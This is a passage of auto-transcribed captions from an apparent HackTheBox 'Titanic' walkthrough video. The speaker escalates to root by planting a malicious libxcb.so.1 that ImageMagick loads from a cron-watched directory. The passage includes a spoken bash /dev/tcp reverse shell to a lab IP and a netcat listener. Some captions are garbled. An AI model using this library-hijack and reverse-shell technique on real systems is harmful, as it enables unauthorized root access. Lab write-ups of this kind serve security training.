{"text": "So if we have an out Oh wait, it did run. We I just saw the error message. Um so it looks like this works. So if we do this, we do get code execution. Now let me move this because it has to be a JPEG file, right? Because that's what our script is. If we go opc script and then this um it's reading only things that end in jp uh jpg. So I'm going to move my JPEG and we'll just do jpg do identify jpg and we don't get any code execution. So, it's probably because it's depending on the extension in order to um load the XML parser. And since the XML parser never loads, that's why we don't get this um execution.", "start": 1270.72, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 85 |
+
{"text": "But it also gives us a way to um abuse the LD preload or LD library.", "start": 1333.2, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 86 |
+
{"text": "So, if we have this, so all this is doing is creating a program. So, we can test this real quick. V. I'm just going to call this uh we'll do shell C. And then we have some compilation instructions.", "start": 1340.88, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 87 |
+
{"text": "Give it shell. C.", "start": 1357.2, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 88 |
+
{"text": "Okay. So now we have this library here.", "start": 1359.76, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 89 |
+
{"text": "And if magic is ran when this is in the current working directory, it's saying that this will lead to code execution.", "start": 1364.0, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 90 |
+
{"text": "So let's just do magic identify. I can give this JPEG file again. And there we go. We have a ID. So, let's go ahead and modify our shell. C. And I'm just going to do bash- c- i dev tcp 1010 10148 91 0 and 1. There we go.", "start": 1370.08, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 91 |
+
{"text": "Run that gcc command again to compile it. And then I'm going to do nclvmpp 90001.", "start": 1396.559, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 92 |
+
{"text": "And then when we run magic, we get a shell. Awesome.", "start": 1404.559, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 93 |
+
{"text": "So now we just have to do this again, but put it where this directory is. So I'm going to copy my lib xcb whatever over into this directory. We can run date. And I'm guessing in 30 seconds, um, what's going to happen is this script is going to get ran. It's going to change directories into this. We're going to erase the metadata.log.", "start": 1410.08, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 94 |
+
{"text": "And then when it runs this, because um the file we just copied, this lib xcb.so.1 library exist. When magic loads, it's going to load this library, which is going to send us a shell if we are listening. Uh lvnp 9,0001. It would definitely help if we're listening. Uh so 4 seconds. So three, two, one, shell.", "start": 1435.44, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 95 |
+
{"text": "There we go. Awesome. Awesome. I didn't have to do editing magic for that. That just magically worked out. If we go to root, we have root.ext. So, that is going to be the box. Hope you guys enjoyed it. Take care and I will see you all next", "start": 1460.72, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|